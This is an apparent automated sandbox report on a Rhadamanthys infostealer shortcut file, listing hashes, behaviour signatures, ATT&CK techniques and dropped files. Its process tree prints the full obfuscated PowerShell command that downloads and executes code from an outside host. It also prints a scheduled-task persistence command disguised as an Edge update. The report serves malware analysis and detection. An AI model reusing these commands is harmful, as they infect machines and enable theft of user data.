rhadamanthys | 5089ec3c865e6c490ee27dff0b7dbe81ff882fbbeebf280c213ed9914ade6848

Analysis

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
08-10-2024 18:51

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General

Target

5089ec3c865e6c490ee27dff0b7dbe81ff882fbbeebf280c213ed9914ade6848.lnk
Size

1KB
MD5

ae44dfe179f7ab8400c90b2d208ff313
SHA1

7f87bfe1edeccd7a01ff20519e92ba54e7d8e4a8
SHA256

5089ec3c865e6c490ee27dff0b7dbe81ff882fbbeebf280c213ed9914ade6848
SHA512

5b451ef8b7043300bd9809285f8f283f2bda096d06f80560e48c89e5992981f0b5de20ed8a3fcdf3e8ff5e4be5672791a713e68a39571d25683db02f5720922a

Score

10^/10

rhadamanthys execution stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1h982d.bemostake.space/test.txt

Signatures

Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

regsvr32.exe

description	pid	Process	procid_target
PID 3352 created 2520	3352	regsvr32.exe	42

Blocklisted process makes network request 3 IoCs

Processes:

powershell.exe

flow	pid	Process
2	2364	powershell.exe
10	2364	powershell.exe
19	2364	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

cmd.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	cmd.exe

Deletes itself 1 IoCs

Processes:

powershell.exe

pid	Process
2364	powershell.exe

Executes dropped EXE 2 IoCs

Processes:

ajbs50ul.batutox_x86_x64.exe

pid	Process
816	ajbs50ul.bat
2380	utox_x86_x64.exe

Loads dropped DLL 3 IoCs

Processes:

regsvr32.exeregsvr32.EXEregsvr32.EXE

pid	Process
3352	regsvr32.exe
3460	regsvr32.EXE
2232	regsvr32.EXE

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exe

pid	Process
2364	powershell.exe
3552	powershell.exe
3552	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 11 IoCs

Processes:

powershell.exepowershell.exeregsvr32.exeopenwith.exeregsvr32.EXEregsvr32.EXE

pid	Process
2364	powershell.exe
2364	powershell.exe
3552	powershell.exe
3552	powershell.exe
3352	regsvr32.exe
3352	regsvr32.exe
3352	regsvr32.exe
2076	openwith.exe
2076	openwith.exe
3460	regsvr32.EXE
2232	regsvr32.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	2364	powershell.exe
Token: SeDebugPrivilege	3552	powershell.exe
Token: SeIncreaseQuotaPrivilege	3552	powershell.exe
Token: SeSecurityPrivilege	3552	powershell.exe
Token: SeTakeOwnershipPrivilege	3552	powershell.exe
Token: SeLoadDriverPrivilege	3552	powershell.exe
Token: SeSystemProfilePrivilege	3552	powershell.exe
Token: SeSystemtimePrivilege	3552	powershell.exe
Token: SeProfSingleProcessPrivilege	3552	powershell.exe
Token: SeIncBasePriorityPrivilege	3552	powershell.exe
Token: SeCreatePagefilePrivilege	3552	powershell.exe
Token: SeBackupPrivilege	3552	powershell.exe
Token: SeRestorePrivilege	3552	powershell.exe
Token: SeShutdownPrivilege	3552	powershell.exe
Token: SeDebugPrivilege	3552	powershell.exe
Token: SeSystemEnvironmentPrivilege	3552	powershell.exe
Token: SeRemoteShutdownPrivilege	3552	powershell.exe
Token: SeUndockPrivilege	3552	powershell.exe
Token: SeManageVolumePrivilege	3552	powershell.exe
Token: 33	3552	powershell.exe
Token: 34	3552	powershell.exe
Token: 35	3552	powershell.exe
Token: 36	3552	powershell.exe
Token: SeIncreaseQuotaPrivilege	3552	powershell.exe
Token: SeSecurityPrivilege	3552	powershell.exe
Token: SeTakeOwnershipPrivilege	3552	powershell.exe
Token: SeLoadDriverPrivilege	3552	powershell.exe
Token: SeSystemProfilePrivilege	3552	powershell.exe
Token: SeSystemtimePrivilege	3552	powershell.exe
Token: SeProfSingleProcessPrivilege	3552	powershell.exe
Token: SeIncBasePriorityPrivilege	3552	powershell.exe
Token: SeCreatePagefilePrivilege	3552	powershell.exe
Token: SeBackupPrivilege	3552	powershell.exe
Token: SeRestorePrivilege	3552	powershell.exe
Token: SeShutdownPrivilege	3552	powershell.exe
Token: SeDebugPrivilege	3552	powershell.exe
Token: SeSystemEnvironmentPrivilege	3552	powershell.exe
Token: SeRemoteShutdownPrivilege	3552	powershell.exe
Token: SeUndockPrivilege	3552	powershell.exe
Token: SeManageVolumePrivilege	3552	powershell.exe
Token: 33	3552	powershell.exe
Token: 34	3552	powershell.exe
Token: 35	3552	powershell.exe
Token: 36	3552	powershell.exe
Token: SeIncreaseQuotaPrivilege	3552	powershell.exe
Token: SeSecurityPrivilege	3552	powershell.exe
Token: SeTakeOwnershipPrivilege	3552	powershell.exe
Token: SeLoadDriverPrivilege	3552	powershell.exe
Token: SeSystemProfilePrivilege	3552	powershell.exe
Token: SeSystemtimePrivilege	3552	powershell.exe
Token: SeProfSingleProcessPrivilege	3552	powershell.exe
Token: SeIncBasePriorityPrivilege	3552	powershell.exe
Token: SeCreatePagefilePrivilege	3552	powershell.exe
Token: SeBackupPrivilege	3552	powershell.exe
Token: SeRestorePrivilege	3552	powershell.exe
Token: SeShutdownPrivilege	3552	powershell.exe
Token: SeDebugPrivilege	3552	powershell.exe
Token: SeSystemEnvironmentPrivilege	3552	powershell.exe
Token: SeRemoteShutdownPrivilege	3552	powershell.exe
Token: SeUndockPrivilege	3552	powershell.exe
Token: SeManageVolumePrivilege	3552	powershell.exe
Token: 33	3552	powershell.exe
Token: 34	3552	powershell.exe
Token: 35	3552	powershell.exe

Suspicious use of FindShellTrayWindow 3 IoCs

Processes:

utox_x86_x64.exe

pid	Process
2380	utox_x86_x64.exe
2380	utox_x86_x64.exe
2380	utox_x86_x64.exe

Suspicious use of SendNotifyMessage 3 IoCs

Processes:

utox_x86_x64.exe

pid	Process
2380	utox_x86_x64.exe
2380	utox_x86_x64.exe
2380	utox_x86_x64.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

cmd.execmd.exepowershell.exeajbs50ul.batregsvr32.exe

description	pid	Process	procid_target
PID 4236 wrote to memory of 3304	4236	cmd.exe	84
PID 4236 wrote to memory of 3304	4236	cmd.exe	84
PID 3304 wrote to memory of 2364	3304	cmd.exe	85
PID 3304 wrote to memory of 2364	3304	cmd.exe	85
PID 2364 wrote to memory of 816	2364	powershell.exe	89
PID 2364 wrote to memory of 816	2364	powershell.exe	89
PID 816 wrote to memory of 3552	816	ajbs50ul.bat	90
PID 816 wrote to memory of 3552	816	ajbs50ul.bat	90
PID 2364 wrote to memory of 2380	2364	powershell.exe	93
PID 2364 wrote to memory of 2380	2364	powershell.exe	93
PID 816 wrote to memory of 3352	816	ajbs50ul.bat	94
PID 816 wrote to memory of 3352	816	ajbs50ul.bat	94
PID 3352 wrote to memory of 2076	3352	regsvr32.exe	96
PID 3352 wrote to memory of 2076	3352	regsvr32.exe	96
PID 3352 wrote to memory of 2076	3352	regsvr32.exe	96
PID 3352 wrote to memory of 2076	3352	regsvr32.exe	96

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2520
- C:\Windows\system32\openwith.exe
  "C:\Windows\system32\openwith.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2076

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\5089ec3c865e6c490ee27dff0b7dbe81ff882fbbeebf280c213ed9914ade6848.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4236
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c p""ow""er""s""h""ell/""W 0""1 $jufn='i'+'e'+''+'X';s""al bx1g $jufn;$ajbs50ul=bx1g(bx1g($($('(new-objecwxwl syswxwlem.newxwl.webc""lienwxwl).Dowgdvitring(''hv7i91h982d.bp24mostakp24.spacp24/tp24st.txt''.Replace(''v7i9'',''ttps://'').Replace(''p24'', ''e''))').Replace('wxwl', 't').Replace('gdvi', 'nloadS'))));exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3304
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    p""ow""er""s""h""ell /""W 0""1 $jufn='i'+'e'+''+'X';s""al bx1g $jufn;$ajbs50ul=bx1g(bx1g($($('(new-objecwxwl syswxwlem.newxwl.webc""lienwxwl).Dowgdvitring(''hv7i91h982d.bp24mostakp24.spacp24/tp24st.txt''.Replace(''v7i9'',''ttps://'').Replace(''p24'', ''e''))').Replace('wxwl', 't').Replace('gdvi', 'nloadS'))));exit
    3⤵
    - Blocklisted process makes network request
    - Deletes itself
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2364
  - - C:\Users\Public\ajbs50ul.bat
      "C:\Users\Public\ajbs50ul.bat"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:816
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\Admin\AppData/Roaming/KIM8.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{4C84C80C-C4C8-44C0-8C40-80C4084C4808}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3552
    - - C:\Windows\system32\regsvr32.exe
        
        "regsvr32" /s /i:INSTALL C:\Users\Admin\AppData/Roaming/KIM8.ini
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3352
  - - C:\Users\Admin\AppData\Local\Temp\utox_x86_x64.exe
      "C:\Users\Admin\AppData\Local\Temp\utox_x86_x64.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      PID:2380

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x4b0 0x150
1⤵
PID:3392

C:\Windows\system32\regsvr32.EXE
C:\Windows\system32\regsvr32.EXE /s /i:INSTALL C:\Users\Admin\AppData/Roaming/KIM8.ini
1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:3460

C:\Windows\system32\regsvr32.EXE
C:\Windows\system32\regsvr32.EXE /s /i:INSTALL C:\Users\Admin\AppData/Roaming/KIM8.ini
1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:2232

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\regsvr32.EXE.log

Filesize
434B

MD5
55cd82f1f37f86716011f6271ae32817

SHA1
c9206205ef4c787cf9fa55456dbfd29de3d685b5

SHA256
c66fe4787c6333e4e0759b3f041fea3c5abff4cebe577679308b5d09e284bc4f

SHA512
aa2a89420e046f0415bfbd4f88ba337c0b667da3a45c7968e80d463adbc583921cc32127d9b3a709d7040e78c82a913ee00f6195487c2020b6f178a6629d9a8c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
0c77ce1db08e7f1b2bc9896a13b4f7a5

SHA1
3de7b852f908b16834f9484bce8eebd4d7389ec1

SHA256
dcb3cb7065cee59e6f4e62405ef4c5418a04a35a1ac04db0b846851bc7ec967f

SHA512
5244fa2ce993c07dfbbeac86360c2e49e86c0957a016624251e917223b0d1c0afd5fefdf17b397b298c194b5699c8696dd7e59f379d6eae98665be361f077b29

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ufik5sf4.rak.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\utox_x86_x64.exe

Filesize
4.7MB

MD5
e9679980aa73cfc7cf00f3da7949c661

SHA1
53ba9e3a3a10ae0e72df4b3632d8d4135eb540b6

SHA256
d7bd224b2ef0014c679046c917becfface5f5aba2fbdb7dd3c17fe964c3cee97

SHA512
002aac023e1bbe3bbbf153ebc5462970aa98c84badea6bc1b8d333c98a5ed91540928b8848a9928607e12c0a1296a12424b2c2b0753e23afeb537249f04db8bc

Download Submit
C:\Users\Admin\AppData\Roaming\KIM8.ini

Filesize
1.0MB

MD5
60a55b1d8e739216cadd3e31d7412f03

SHA1
8b5c284796a1efa1df8a3eddd27070d374e1cc54

SHA256
be86e0357748f3b4fa166342f284800a83c955c2c8b197475c2450613a6eed67

SHA512
c06cb2b86f7a9de5243f4395fb40fa88a7669f3e427d427afb95801de447beb8f616847890ae12cfc6060ec7215ceb370cd61b5cf0395eab81312121060dc7ab

Download Submit
C:\Users\Public\ajbs50ul.bat

Filesize
2.2MB

MD5
8837df25aabc4fad85e851aca192f714

SHA1
c4fbd38356b7ee16eaf21deb83170bbcb0fe566a

SHA256
741cee2c6f6f8ee8a54923fa2a0c88085cede35bdc2e95b1b9f1800e894e6c19

SHA512
93f712ae3ca726b090df270feb1421ea98778260b7fe309e06ac3887b396d3dc8ab41655ec7d15a57cac8b467cca0395a52ef965765a26c9597f6512fdad88e2

Download Submit
memory/816-195-0x00007FF7F5740000-0x00007FF7F5922000-memory.dmp

Filesize
1.9MB

Download
memory/2076-196-0x00007FFCBF990000-0x00007FFCBFB85000-memory.dmp

Filesize
2.0MB

Download
memory/2076-192-0x0000020A40A60000-0x0000020A40E60000-memory.dmp

Filesize
4.0MB

Download
memory/2076-198-0x00007FFCBD0E0000-0x00007FFCBD3A9000-memory.dmp

Filesize
2.8MB

Download
memory/2076-197-0x00007FFCBDB70000-0x00007FFCBDC2E000-memory.dmp

Filesize
760KB

Download
memory/2076-187-0x0000020A3EFA0000-0x0000020A3EFAA000-memory.dmp

Filesize
40KB

Download
memory/2232-224-0x000000001B270000-0x000000001B670000-memory.dmp

Filesize
4.0MB

Download
memory/2232-222-0x0000000002650000-0x0000000002660000-memory.dmp

Filesize
64KB

Download
memory/2364-12-0x00007FFCA13A0000-0x00007FFCA1E61000-memory.dmp

Filesize
10.8MB

Download
memory/2364-1-0x000001C41B840000-0x000001C41B862000-memory.dmp

Filesize
136KB

Download
memory/2364-168-0x00007FFCA13A0000-0x00007FFCA1E61000-memory.dmp

Filesize
10.8MB

Download
memory/2364-0-0x00007FFCA13A3000-0x00007FFCA13A5000-memory.dmp

Filesize
8KB

Download
memory/2364-11-0x00007FFCA13A0000-0x00007FFCA1E61000-memory.dmp

Filesize
10.8MB

Download
memory/2380-202-0x0000000000400000-0x000000000097B000-memory.dmp

Filesize
5.5MB

Download
memory/2380-200-0x0000000000400000-0x000000000097B000-memory.dmp

Filesize
5.5MB

Download
memory/2380-204-0x0000000000400000-0x000000000097B000-memory.dmp

Filesize
5.5MB

Download
memory/2380-203-0x0000000000400000-0x000000000097B000-memory.dmp

Filesize
5.5MB

Download
memory/2380-201-0x0000000000400000-0x000000000097B000-memory.dmp

Filesize
5.5MB

Download
memory/3352-182-0x000000001B4D0000-0x000000001B8D0000-memory.dmp

Filesize
4.0MB

Download
memory/3352-183-0x000000001B4D0000-0x000000001B8D0000-memory.dmp

Filesize
4.0MB

Download
memory/3352-185-0x00007FFCBDB70000-0x00007FFCBDC2E000-memory.dmp

Filesize
760KB

Download
memory/3352-184-0x00007FFCBF990000-0x00007FFCBFB85000-memory.dmp

Filesize
2.0MB

Download
memory/3352-186-0x00007FFCBD0E0000-0x00007FFCBD3A9000-memory.dmp

Filesize
2.8MB

Download
memory/3352-181-0x000000001B2C0000-0x000000001B2D0000-memory.dmp

Filesize
64KB

Download
memory/3352-180-0x000000001B2B0000-0x000000001B2B8000-memory.dmp

Filesize
32KB

Download
memory/3352-179-0x000000001B1C0000-0x000000001B270000-memory.dmp

Filesize
704KB

Download
memory/3460-210-0x00000000034D0000-0x00000000034E0000-memory.dmp

Filesize
64KB

Download
memory/3460-212-0x000000001BD80000-0x000000001C180000-memory.dmp

Filesize
4.0MB

Download